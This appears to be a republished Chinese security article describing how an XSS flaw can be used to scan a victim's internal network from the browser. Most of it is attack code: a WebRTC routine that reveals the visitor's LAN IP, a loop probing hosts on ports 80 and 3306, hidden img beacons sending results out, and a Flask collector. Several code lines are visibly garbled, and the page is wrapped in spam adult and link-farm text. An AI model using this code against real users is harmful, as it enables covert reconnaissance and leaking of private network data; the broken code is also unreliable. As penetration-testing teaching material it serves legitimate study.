成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

XSS的另一種利用思路

安全 漏洞
安全測試人員在測試XSS漏洞的時候,用得最多的方式是利用XSS釣魚攻擊、盜取會話憑證,挾持會話。當然還有很多其他利用方式,但是卻很少涉及內網滲透環節。本文通過實踐介紹利用js進行內網端口掃描的滲透思路。

前言

安全測試人員在測試XSS漏洞的時候,用得最多的方式是利用XSS釣魚攻擊、盜取會話憑證,挾持會話。當然還有很多其他利用方式,但是卻很少涉及內網滲透環節。換一種思路,XSS還可以做很多意想不到的事,本文通過實踐介紹利用js進行內網端口掃描的滲透思路。

[[226309]]

獲取局域網IP

進行內網端口掃描首先第一點要獲取內網IP,這是最關鍵的一步,這里有一個前輩的Demo:

使用的WebRTC技術獲取當前訪問者的局域網IP,具體的js實現如下:

  1. function getlanip(callback){ 
  2.     var ip_dups = {}; 
  3.     var RTCPeerConnection = window.RTCPeerConnection 
  4.         || window.mozRTCPeerConnection 
  5.         || window.webkitRTCPeerConnection; 
  6.     if (!RTCPeerConnection) { 
  7.         var iframe = document.createElement('iframe'); 
  8.         iframe.sandbox = 'allow-same-origin'
  9.         iframe.style.display = 'none'
  10.         document.body.appendChild(iframe); 
  11.         var win = iframe.contentWindow; 
  12.         winwindow.RTCPeerConnection = win.RTCPeerConnection; 
  13.         winwindow.mozRTCPeerConnection = win.mozRTCPeerConnection; 
  14.         winwindow.webkitRTCPeerConnection = win.webkitRTCPeerConnection; 
  15.         RTCPeerConnection = window.RTCPeerConnection 
  16.             || window.mozRTCPeerConnection 
  17.             || window.webkitRTCPeerConnection; 
  18.     } 
  19.     var mediaConstraints = { 
  20.         optional: [{RtpDataChannels: true}] 
  21.     }; 
  22.     var servers = undefined
  23.     if(window.webkitRTCPeerConnection) 
  24.         servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; 
  25.     var pc = new RTCPeerConnection(servers, mediaConstraints); 
  26.     pc.onicecandidate = function(ice){ 
  27.         if(ice.candidate){ 
  28.             var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/ 
  29.             var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; 
  30.  
  31.             if(ip_dups[ip_addr] === undefined) 
  32.                 callback(ip_addr); 
  33.  
  34.             ip_dups[ip_addr] = true;} 
  35.         }; 
  36.     pc.createDataChannel(""); 
  37.     pc.createOffer(function(result){ 
  38.         pc.setLocalDescription(result, function(){}, function(){}); 
  39.         }, function(){}); 
  40.     } 

WebRTC

WebRTC,是網頁實時通信(Web Real-Time Communication)的縮寫,是一個支持網頁瀏覽器進行實時語音對話或視頻對話的技術。WebRTC 實現了基于網頁的視頻會議,標準是 WHATWG 協議,目的是通過瀏覽器提供簡單的 Javascript 就可以做到實時通訊。WebRTC 項目的最終目的主要是讓 Web 開發者能夠基于瀏覽器輕易快捷地開發出豐富的實時多媒體應用,而無需下載安裝任何插件,Web 開發者也無需關注多媒體的數字信號處理過程,只需編寫簡單的 Javascript 程序即可實現,很多瀏覽器包括Firefox Chrome,360極速瀏覽器都已經支持WebRTC, 但是Internet Explorer 和 Safari 尚未支持 WebRTC。

JS端口掃描

有了局域網IP,利用sciprt標簽加載js函數執行,然后利用html onload事件結合img標簽當然可以這里可以使用其他的比如:iframe標簽等,把加載成功的IP,端口信息傳回我們的接收端,這里我用Flask簡單的寫了一個接收端。

  1. #!/usr/bin/env python3 
  2. #coding:utf-8 
  3.  
  4. from flask import Flask,request 
  5.  
  6. app = Flask(__name__) 
  7.  
  8. @app.route(rule='/'
  9. def index(): 
  10.     args = request.args 
  11.     for k,v in args.items(): 
  12.         print(k,v) 
  13.     return str() 
  14.  
  15. if __name__ == '__main__': 
  16.     app.run(debug=True

下面是一個簡單的掃描函數和數據傳回函數。

  1. //數據傳回 
  2. var TagName = document.getElementsByTagName("body")[0]; 
  3. function post_data(ip,port){ 
  4.     var img = document.createElement("img"); 
  5.     img.setAttribute("src","http://127.0.0.1:5000/?ip=" + ip + "&openport=" + port); 
  6.     img.setAttribute("style","display:none") 
  7.     TagName.appendChild(img); 
  8.     } 
  9.  
  10. //簡單端口掃描 
  11. getlanip(function(ip){ 
  12. //判斷內網IP 
  13.     if (ip.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)){ 
  14.         ipip = ip.split("."); 
  15.         ip.pop(); 
  16.         ipip = ip.join("."); 
  17.         for(var i = 1;i<=255;i++){ 
  18.             var script = document.createElement("script"); 
  19.             var ipip_url = ip + "." + i + ":80";//3306 
  20.             script.setAttribute("src","http://" + ip_url); 
  21.             script.setAttribute("onload","post_data('" + ip + "." + i + "','80')");//3306 
  22.             TagName.appendChild(script); 
  23.         } 
  24.     } 
  25.     }); 

隨便一個html引入js文件,加載效果圖。

在服務端成功的接收到了開放80端口的ip。

當然其他端口也是可以的只要支持http協議訪問的比如3306。

探測到開放3306端口的主機,這樣實現了一個簡單的局域網ip端口的功能。

結語

當懷疑某處存在xss漏洞而我們又想知道內網具體的ip端口情況時,我們就可以利用這種方式實現局域網端口探測,有點類似于SSRF,但是通過XSS也同樣可以實現。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2013-05-22 15:31:07

AOP的CGlib實現

2014-09-17 14:37:06

2017-09-19 14:21:37

AI

2016-03-03 10:29:31

用戶信息改進

2010-07-21 16:23:09

運行telnet程序

2011-12-29 21:28:31

Metro UI

2023-06-18 23:19:17

ChatGPTPPT方式

2016-07-11 16:18:26

互聯網

2014-01-13 10:36:53

C++錯誤

2019-01-02 08:04:29

GAN損失函數神經網絡

2010-04-09 17:27:47

2011-07-21 14:17:15

Ceylon

2013-09-30 10:13:08

IT女程序員

2009-06-17 12:01:21

Linux

2013-10-21 15:11:15

OrmsqlOrm設計

2015-07-28 13:36:04

2009-06-17 09:05:05

Linux隱藏網絡鏈接命令

2010-09-02 09:14:35

CSS浮動

2019-03-17 15:59:05

Android PAPIAPP

2013-09-12 14:26:47

百度云網盤
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日韩中文一区 | 免费一区二区在线观看 | 国产一区二区三区四区 | 精品亚洲一区二区三区 | 在线欧美视频 | 情侣黄网站免费看 | 欧美激情精品久久久久久变态 | 免费v片在线观看 | 国产精品自产拍 | 一级在线免费观看 | 又爽又黄axxx片免费观看 | 久久99精品视频 | 亚洲视频一区二区三区 | www.亚洲 | 久久午夜剧场 | 国产2区 | 日韩二| 91亚洲欧美| 亚洲精品在线视频 | 日韩中文字幕一区二区 | 成人综合在线视频 | 国产在线一区二区三区 | 4hu最新网址 | 91欧美精品成人综合在线观看 | 欧美一级黄色片在线观看 | 欧美综合国产精品久久丁香 | 韩国毛片一区二区三区 | 色偷偷人人澡人人爽人人模 | 国产精品国产精品 | 精品综合| 99精品视频免费观看 | 久久这里有精品 | 免费中文字幕日韩欧美 | 日本久久久一区二区三区 | 日韩有码一区 | 中文字幕av在线一二三区 | www.亚洲视频 | 国产久 | 精品久久香蕉国产线看观看亚洲 | 成人免费精品 | 亚洲精品久久久一区二区三区 |